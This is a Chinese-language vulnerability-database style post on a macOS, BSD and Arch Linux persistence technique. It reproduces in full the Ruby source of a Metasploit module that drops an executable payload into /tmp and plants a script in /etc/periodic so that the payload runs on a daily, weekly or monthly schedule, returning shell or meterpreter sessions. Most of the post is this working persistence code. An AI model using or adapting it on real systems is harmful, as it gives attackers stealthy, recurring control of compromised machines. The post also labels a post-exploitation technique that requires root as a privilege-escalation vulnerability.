Periodic Script Persistence

漏洞信息

漏洞名称: Periodic Script Persistence

漏洞类型: 权限提升

漏洞等级: 高危

漏洞描述: 该漏洞利用模块通过在/etc/periodic目录下写入脚本实现持久化,主要影响Mac OS X、BSD和Arch Linux系统。根据The Art of Mac Malware的资料,截至2024年,尚未有恶意软件采用此种方式进行持久化。此漏洞需要root权限才能利用,适用于BSD、OSX或Arch Linux系统。

漏洞的技术根源在于系统允许在/etc/periodic目录下写入可执行脚本,而该目录下的脚本会定期执行。攻击者可以利用这一点,将恶意脚本写入该目录,从而实现持久化。由于需要root权限,这意味着攻击者已经获得了系统的初步访问权限,或者通过其他方式提升了权限。

此漏洞的安全风险较高,因为它允许攻击者在系统上持久化恶意代码,可能导致远程代码执行、数据泄露或服务中断。由于需要root权限,攻击者可能已经具备了对系统的完全控制能力。此外,这种持久化方法较为隐蔽,不易被常规的安全检测手段发现,增加了检测和清除的难度。

产品名称: Mac OS X, BSD, Arch Linux

来源: https://github.com/rapid7/metasploit-framework/blob/d694c27119be10f423d893388533153ad9465d19/modules%2Fexploits%2Fmulti%2Flocal%2Fperiodic_script_persistence.rb

类型: rapid7/metasploit-framework:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
include Msf::Exploit::EXE

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Periodic Script Persistence',
'Description' => %q{
This module will achieve persistence by writing a script to the /etc/periodic directory.
According to The Art of Mac Malware no such malware species persist in this manner (2024).
This payload requires root privileges to run. This module can be run on BSD, OSX or Arch Linux.
},
'License' => MSF_LICENSE,
'Author' => 'gardnerapp',
'References' => [
[
'URL', 'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf',
'URL', 'https://superuser.com/questions/391204/what-is-the-difference-between-periodic-and-cron-on-os-x/'
]
],
'DisclosureDate' => '2012-04-01',
'Privileged' => true,
'Targets' => [
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
[ 'Mac OS X x86 (Native Payload for 10.14 and earlier)', { 'Arch' => ARCH_X86, 'Platform' => [ 'osx' ] } ],
['Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }],
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
],
'DefaultTarget' => 4,
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)

register_options([
OptEnum.new('PERIODIC_DIR', [true, 'Periodic Directory to write script eg. /etc/periodic/daily', 'daily', %w[daily weekly monthly]]),
OptString.new('SCRIPT_NAME', [false, 'Name of script ', Rex::Text.rand_text_alphanumeric(rand(6..13))]),
OptString.new('PAYLOAD_DIR', [true, 'Directory to write payload to', '/tmp/']),
OptString.new('PAYLOAD_FILENAME', [true, 'Name of the payload file.', Rex::Text.rand_text_alphanumeric(rand(6..13))])
])
end

def check
periodic = "/etc/periodic/#{datastore['PERIODIC_DIR']}/"

if writable? periodic
return CheckCode::Vulnerable "#{periodic} is writable"
else
CheckCode::Safe "Unable to write to #{periodic}"
end
end

def write_payload(payload_bin)
payload_dir = datastore['PAYLOAD_DIR']
fail_with(Failure::BadConfig, "The #{payload_dir} is not writable.") unless writable? payload_dir

payload_dir += '/' unless payload_dir.ends_with? '/'

payload_file = payload_dir + datastore['PAYLOAD_FILENAME']

if upload_and_chmodx(payload_file, payload_bin)
print_good "Writing payload to #{payload_file} suceeded"
else
fail_with(Failure::UnexpectedReply, "Unable to write payload to #{script}")
end

# add payload to cleanup
@clean_up_rc << "rm #{payload_file} "
payload_file
end

def write_periodic_script(payload_file)
periodic_dir = "/etc/periodic/#{datastore['PERIODIC_DIR']}/"

script = periodic_dir + datastore['SCRIPT_NAME']

@clean_up_rc << script.to_s

if upload_and_chmodx(script, payload_file.to_s)
print_status "Succesfully wrote periodic script to #{script}. This will execute #{payload_file}"
else
fail_with(Failure::UnexpectedReply, "Unable to write #{script}")
end
end

# determine which version of python is installed on the system and return it's path
def get_python
print_status 'Getting python version & path.'
python = nil

# variable needs to be created before eval, can't declare in eval
python = cmd_exec("which python3 || which python2 || which python")


if python.blank? || !file? python
fail_with(Failure::PayloadFailed, 'Unable to find python version. ')
end
print_good "Found python path #{python}"
python
end

def exploit
@clean_up_rc = 'sudo '

if target['Arch'] == ARCH_PYTHON
python = get_python
payload_bin = "#{python}\n" + payload.encoded
elsif target['Arch'] == ARCH_CMD
payload_bin = "#!/usr/bin/env #{cmd_exec('echo ${SHELL}')}\n" + payload.raw
else
payload_bin = generate_payload_exe
end

payload_file = write_payload payload_bin

write_periodic_script payload_file


end
end



Periodic Script Persistence
http://example.com/2025/07/08/github_1657946907/
作者
lianccc
发布于
2025年7月8日
许可协议